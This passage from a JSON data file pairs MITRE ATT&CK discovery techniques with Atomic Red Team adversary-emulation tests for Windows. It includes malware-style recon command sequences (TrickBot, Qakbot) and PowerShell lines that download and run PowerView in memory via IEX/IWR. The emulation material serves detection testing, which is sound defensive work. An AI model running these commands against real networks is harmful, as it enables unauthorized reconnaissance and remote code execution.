- "auto_generated_guid": "faab755e-4299-48ec-8202-fc7885eb6545",
- "description": "Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks.\nUpon execution, paths that contain bookmark files will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-ChildItem -Path C:\\Users\\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force\n",
- "name": "powershell"
- }
- },
- {
- "name": "List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt",
- "auto_generated_guid": "76f71e2f-480e-4bed-b61e-398fe17499d5",
- "description": "Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks.\nUpon execution, paths that contain bookmark files will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "where /R C:\\Users\\ Bookmarks\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "List Mozilla Firefox bookmarks on Windows with command prompt",
- "auto_generated_guid": "4312cdbc-79fc-4a9c-becc-53d49c734bc5",
- "description": "Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.\nUpon execution, paths that contain bookmark files will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "where /R C:\\Users\\ places.sqlite\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "List Internet Explorer Bookmarks using the command prompt",
- "auto_generated_guid": "727dbcdb-e495-4ab1-a6c4-80c7f77aef85",
- "description": "This test will list the bookmarks for Internet Explorer that are found in the Favorites folder",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "dir /s /b %USERPROFILE%\\Favorites\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1016": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
- "created": "2017-05-31T21:30:27.342Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1016",
- "url": "https://attack.mitre.org/techniques/T1016"
- },
- {
- "source_name": "Mandiant APT41 Global Intrusion ",
- "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits",
- "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/309.html",
- "source_name": "capec",
- "external_id": "CAPEC-309"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ",
- "modified": "2022-05-20T17:34:15.406Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "System Network Configuration Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation",
- "Script: Script Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1016"
- },
- "atomic_tests": [
- {
- "name": "System Network Configuration Discovery on Windows",
- "auto_generated_guid": "970ab6a1-0157-4f3f-9a73-ec4166754b23",
- "description": "Identify network configuration information\n\nUpon successful execution, cmd.exe will spawn multiple commands to list network configuration settings. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "ipconfig /all\nnetsh interface show interface\narp -a\nnbtstat -n\nnet config\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "List Windows Firewall Rules",
- "auto_generated_guid": "038263cb-00f4-4b0a-98ae-0696c67e1752",
- "description": "Enumerates Windows Firewall Rules using netsh.\n\nUpon successful execution, cmd.exe will spawn netsh.exe to list firewall rules. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netsh advfirewall firewall show rule name=all\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "System Network Configuration Discovery (TrickBot Style)",
- "auto_generated_guid": "dafaf052-5508-402d-bf77-51e0700c02e2",
- "description": "Identify network configuration information as seen by Trickbot and described here https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/\n\nUpon successful execution, cmd.exe will spawn `ipconfig /all`, `net config workstation`, `net view /all /domain`, `nltest /domain_trusts`. Output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "ipconfig /all\nnet config workstation\nnet view /all /domain\nnltest /domain_trusts\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "List Open Egress Ports",
- "auto_generated_guid": "4b467538-f102-491d-ace7-ed487b853bf5",
- "description": "This is to test for what ports are open outbound. The technique used was taken from the following blog:\nhttps://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/\n\nUpon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\\open-ports.txt.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Path of file to write port scan results",
- "type": "path",
- "default": "$env:USERPROFILE\\Desktop\\open-ports.txt"
- },
- "portfile_url": {
- "description": "URL to top-128.txt",
- "type": "url",
- "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/top-128.txt"
- },
- "port_file": {
- "description": "The path to a text file containing ports to be scanned, one port per line. The default list uses the top 128 ports as defined by Nmap.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1016\\src\\top-128.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Test requires #{port_file} to exist\n",
- "prereq_command": "if (Test-Path \"#{port_file}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{port_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"#{portfile_url}\" -OutFile \"#{port_file}\"\n"
- }
- ],
- "executor": {
- "command": "$ports = Get-content #{port_file}\n$file = \"#{output_file}\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n $test = new-object system.Net.Sockets.TcpClient\n $wait = $test.beginConnect(\"allports.exposed\", $port, $null, $null)\n $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n $totalports++ | Out-Null\n if ($test.Connected) {\n $result = \"$port open\" \n Write-Host -ForegroundColor Green $result\n $result | Out-File -Encoding ASCII -append $file\n $totalopen++ | Out-Null\n }\n else {\n $result = \"$port closed\" \n Write-Host -ForegroundColor Red $result\n $totalclosed++ | Out-Null\n $result | Out-File -Encoding ASCII -append $file\n }\n}\n$results = \"There were a total of $totalopen open ports out of $totalports ports tested.\"\n$results | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n",
- "cleanup_command": "Remove-Item -ErrorAction ignore \"#{output_file}\"\n",
- "name": "powershell"
- }
- },
- {
- "name": "Adfind - Enumerate Active Directory Subnet Objects",
- "auto_generated_guid": "9bb45dd7-c466-4f93-83a1-be30e56033ee",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -f (objectcategory=subnet)\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Qakbot Recon",
- "auto_generated_guid": "121de5c6-5818-4868-b8a7-8fd07c455c1b",
- "description": "A list of commands known to be performed by Qakbot for recon purposes",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "recon_commands": {
- "description": "File that houses list of commands to be executed",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1016\\src\\qakbot.bat"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{recon_commands})\n",
- "prereq_command": "if (Test-Path #{recon_commands}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{recon_commands}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/qakbot.bat\" -OutFile \"#{recon_commands}\"\n"
- }
- ],
- "executor": {
- "command": "#{recon_commands}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "DNS Server Discovery Using nslookup",
- "auto_generated_guid": "34557863-344a-468f-808b-a1bfb89b4fa9",
- "description": "Identify System domain dns controller on an endpoint using nslookup ldap query. This tool is being abused by qakbot malware to gather information on the domain\ncontroller of the targeted or compromised host. reference https://securelist.com/qakbot-technical-analysis/103931/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.$env:USERDNSDOMAIN\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1087": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Daniel Stepanic, Elastic",
- "Microsoft Threat Intelligence Center (MSTIC)",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:06.988Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1087",
- "url": "https://attack.mitre.org/techniques/T1087"
- },
- {
- "external_id": "CAPEC-575",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/575.html"
- },
- {
- "source_name": "Elastic - Koadiac Detection with EQL",
- "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql",
- "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."
- }
- ],
- "modified": "2021-10-13T14:05:15.038Z",
- "name": "Account Discovery",
- "description": "Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe
and net1.exe
, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
- "x_mitre_version": "2.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Metadata",
- "File: File Access",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1482": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Dave Westgard",
- "Elia Florio, Microsoft",
- "Mnemonic",
- "RedHuntLabs, @redhuntlabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
- "created": "2019-02-14T16:15:05.974Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1482",
- "url": "https://attack.mitre.org/techniques/T1482"
- },
- {
- "source_name": "Microsoft Operation Wilysupply",
- "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/",
- "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019."
- },
- {
- "source_name": "AdSecurity Forging Trust Tickets",
- "url": "https://adsecurity.org/?p=1588",
- "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019."
- },
- {
- "source_name": "Microsoft Trusts",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)",
- "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019."
- },
- {
- "source_name": "Microsoft GetAllTrustRelationships",
- "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships",
- "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019."
- },
- {
- "source_name": "Harmj0y Domain Trusts",
- "url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944",
- "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",
- "modified": "2022-04-05T19:58:03.031Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Domain Trust Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Script: Script Execution",
- "Command: Command Execution",
- "Process: OS API Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1482"
- },
- "atomic_tests": [
- {
- "name": "Windows - Discover domain trusts with dsquery",
- "auto_generated_guid": "4700a710-c821-4e17-a3ec-9e4c81d6845f",
- "description": "Uses the dsquery command to discover domain trusts.\nRequires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "dsquery * -filter \"(objectClass=trustedDomain)\" -attr *\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Windows - Discover domain trusts with nltest",
- "auto_generated_guid": "2e22641d-0498-48d2-b9ff-c71e496ccdbe",
- "description": "Uses the nltest command to discover domain trusts.\nRequires the installation of nltest via Windows RSAT or the Windows Server AD DS role.\nThis technique has been used by the Trickbot malware family.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "nltest.exe from RSAT must be present on disk\n",
- "prereq_command": "WHERE nltest.exe >NUL 2>&1\n",
- "get_prereq_command": "echo Sorry RSAT must be installed manually\n"
- }
- ],
- "executor": {
- "command": "nltest /domain_trusts\nnltest /trusted_domains\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Powershell enumerate domains and forests",
- "auto_generated_guid": "c58fbc62-8a62-489e-8f2d-3565d7d96f30",
- "description": "Use powershell to enumerate AD information.\nRequires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "PowerView PowerShell script must exist on disk\n",
- "prereq_command": "if (Test-Path $env:TEMP\\PowerView.ps1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1\" -OutFile \"$env:TEMP\\PowerView.ps1\"\n"
- },
- {
- "description": "RSAT PowerShell AD admin cmdlets must be installed\n",
- "prereq_command": "if ((Get-Command \"Get-ADDomain\" -ErrorAction Ignore) -And (Get-Command \"Get-ADGroupMember\" -ErrorAction Ignore)) { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "Write-Host \"Sorry RSAT must be installed manually\"\n"
- }
- ],
- "executor": {
- "command": "Import-Module \"$env:TEMP\\PowerView.ps1\"\nGet-NetDomainTrust\nGet-NetForestTrust\nGet-ADDomain\nGet-ADGroupMember Administrators -Recursive\n([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()\n",
- "name": "powershell"
- }
- },
- {
- "name": "Adfind - Enumerate Active Directory OUs",
- "auto_generated_guid": "d1c73b96-ab87-4031-bad8-0e1b3b8bf3ec",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -f (objectcategory=organizationalUnit)\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Adfind - Enumerate Active Directory Trusts",
- "auto_generated_guid": "15fe436d-e771-4ff3-b655-2dca9ba52834",
- "description": "Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "adfind_path": {
- "description": "Path to the AdFind executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AdFind.exe must exist on disk at specified location (#{adfind_path})\n",
- "prereq_command": "if (Test-Path #{adfind_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{adfind_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile #{adfind_path}\n"
- }
- ],
- "executor": {
- "command": "#{adfind_path} -gcb -sc trustdmp\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Get-DomainTrust with PowerView",
- "auto_generated_guid": "f974894c-5991-4b19-aaf5-7cc2fe298c5d",
- "description": "Utilizing PowerView, run Get-DomainTrust to identify domain trusts. Upon execution, progress and info about trusts within the domain being scanned will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "Get-ForestTrust with PowerView",
- "auto_generated_guid": "58ed10e8-0738-4651-8408-3a3e9a526279",
- "description": "Utilizing PowerView, run Get-ForestTrust to identify forest trusts. Upon execution, progress and info about forest trusts within the domain being scanned will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "TruffleSnout - Listing AD Infrastructure",
- "auto_generated_guid": "ea1b4f2d-5b82-4006-b64f-f2845608a3bf",
- "description": "Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "trufflesnout_path": {
- "description": "Path to the TruffleSnout executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1482\\src\\TruffleSnout.exe"
- },
- "domain": {
- "description": "Domain name to search on",
- "type": "string",
- "default": "%userdomain%"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "TruffleSnout.exe must exist on disk at specified location (#{trufflesnout_path})\n",
- "prereq_command": "if (Test-Path #{trufflesnout_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -ItemType Directory (Split-Path #{trufflesnout_path}) -Force | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/dsnezhkov/TruffleSnout/releases/download/0.5/TruffleSnout.exe\" -OutFile #{trufflesnout_path}\n"
- }
- ],
- "executor": {
- "command": "#{trufflesnout_path} forest -n #{domain}\n#{trufflesnout_path} domain -n #{domain}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1083": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
- "created": "2017-05-31T21:31:04.710Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1083",
- "url": "https://attack.mitre.org/techniques/T1083"
- },
- {
- "source_name": "Windows Commands JPCERT",
- "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
- "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/127.html",
- "source_name": "capec",
- "external_id": "CAPEC-127"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/497.html",
- "source_name": "capec",
- "external_id": "CAPEC-497"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir
, tree
, ls
, find
, and locate
.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information.(Citation: US-CERT-TA18-106A)",
- "modified": "2022-04-20T18:12:12.362Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "File and Directory Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_system_requirements": [
- "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1083"
- },
- "atomic_tests": [
- {
